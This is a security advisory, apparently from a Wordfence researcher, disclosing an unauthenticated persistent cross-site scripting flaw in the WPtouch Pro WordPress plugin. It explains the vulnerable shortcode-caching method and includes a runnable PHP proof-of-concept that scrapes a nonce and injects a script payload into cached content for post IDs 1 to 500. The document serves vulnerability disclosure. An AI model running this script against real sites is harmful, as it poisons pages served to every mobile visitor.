WPtouch Pro [Unauthenticated Persistent XSS]


This vulnerability affects only Pro users. The users of the free version of this plugin are not affected unless the process_desktop_shortcodes is modified and set to true. Normaly this option is available only to premium users so the only possible way to do this as a free user is to do it programmatically. On premium version of this plugin this option is off by default so this exploit will not work with the default settings.

The problem occurs because plugin trusts user input to cache a post/page. The vulnerable code is in method \WPtouchProFour::handle_desktop_shortcode(), which is called when plugins_loaded action is fired (basically in every request). This method stores whatever is supplied in $_POST['post_content'] as long as the following conditions are met:

  • Option process_desktop_shortcodes is on (WPtouch Pro → Settings → Site Compatibility → Process desktop theme shortcodes)
  • $_GET['wptouch_shortcode'] is set and has a value that evaluates to true
  • A valid nonce for action wptouch-ajax is supplied in param $_POST['post_nonce']
  • The page of the post (1 if not paged) is set in $_POST['page'] param
  • The post ID is set in $_POST['post_id'] param.

If the attack is successful then the payload will be served instead of the original post content to all users visiting the specific post using a device that will be identified as mobile.

The cached content is valid and will be served for 24 hours.

There is a small chance this is actively exploited in the wild so I’m considering this as a high priority case. I’ve not confirmed that but I’ve seen many blocked requests that could be attacks. Although no JS payload is found in those requests, yet this could be also used to perform SEO spam attacks by hiding eg. links inside a the page content.


Run script and visit a post with id between 1 and 500, using a mobile device (or passing a mobile user agent to User-Agent header).

#!/usr/bin/env php
 * WPtouch PRO [Unauthenticated Persistent XSS]
 * Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * To install deps run `composer install`

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Request;

Config::get('url.base', null, true, 'Enter the site URL')
|| ExitCodes::exitWithFailedPrecondition('You must enter a valid URL');

// Any valid mobile user agent should work
$userAgent = 'Mozilla/5.0 (Linux; Android 6.0.1; SM-G925R4 Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36';

Cli::writeInfo('Getting nonce...');

$r = Request::get(Endpoint::baseURL(), ['User-Agent' => $userAgent]);
preg_match('/var wptouchMain.+?"security_nonce":"([^"]+?)"/', $r->body, $matches);

if (!$matches) {
    ExitCodes::exitWithFailed('Unable to get nonce');

$nonce = $matches[1];

Cli::writeInfo('Sending payload to 500 post IDs');

// sending payload to first 500 post IDs
for ($i = 1; $i <= 500; $i++) {
    $payload = '<script>alert(/XSS ' . $i . '/)</script>';
    $postData = [
        'post_id' => $i,
        'post_content' => $payload,
        'page' => 1,
        'post_nonce' => $nonce,
    $r = Request::post(Endpoint::baseURL() . '?wptouch_shortcode=1', ['User-Agent' => $userAgent], $postData);

    if ($r->body && strpos($r->body, $payload) === false) {
        ExitCodes::exitWithFailed('Failed to inject code into post with ID ' . $i . '. Breaking now.');

ExitCodes::exitWithSuccess('All posts, pages etc. up to ID 500 should now contain a JS payload.');